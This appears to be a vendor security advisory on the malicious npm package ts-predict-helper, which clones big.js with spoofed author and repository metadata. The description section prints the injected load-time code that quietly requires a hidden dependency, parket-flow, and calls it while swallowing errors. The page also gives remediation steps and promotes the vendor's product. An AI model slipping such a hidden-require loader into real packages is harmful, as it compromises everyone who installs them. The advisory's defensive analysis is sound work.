ts-predict-helpernpm
Malicious code in ts-predict-helper (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package is published as ts-predict-helper but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed package.json metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: try { const doc = require("parket-flow"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The package declares an undisclosed runtime dependency on parket-flow ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs ts-predict-helper (e.g. via a copy-pasted install snippet) and require()s it will silently pull parket-flow into their dependency tree and invoke its from_str() API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code parket-flow ships executes in the installer's Node.js process.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-predict-helper (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-predict-helper across your stack and pipelines.
If you installed it — respond
Remove ts-predict-helper from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If ts-predict-helper was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-predict-helper before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ts-predict-helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.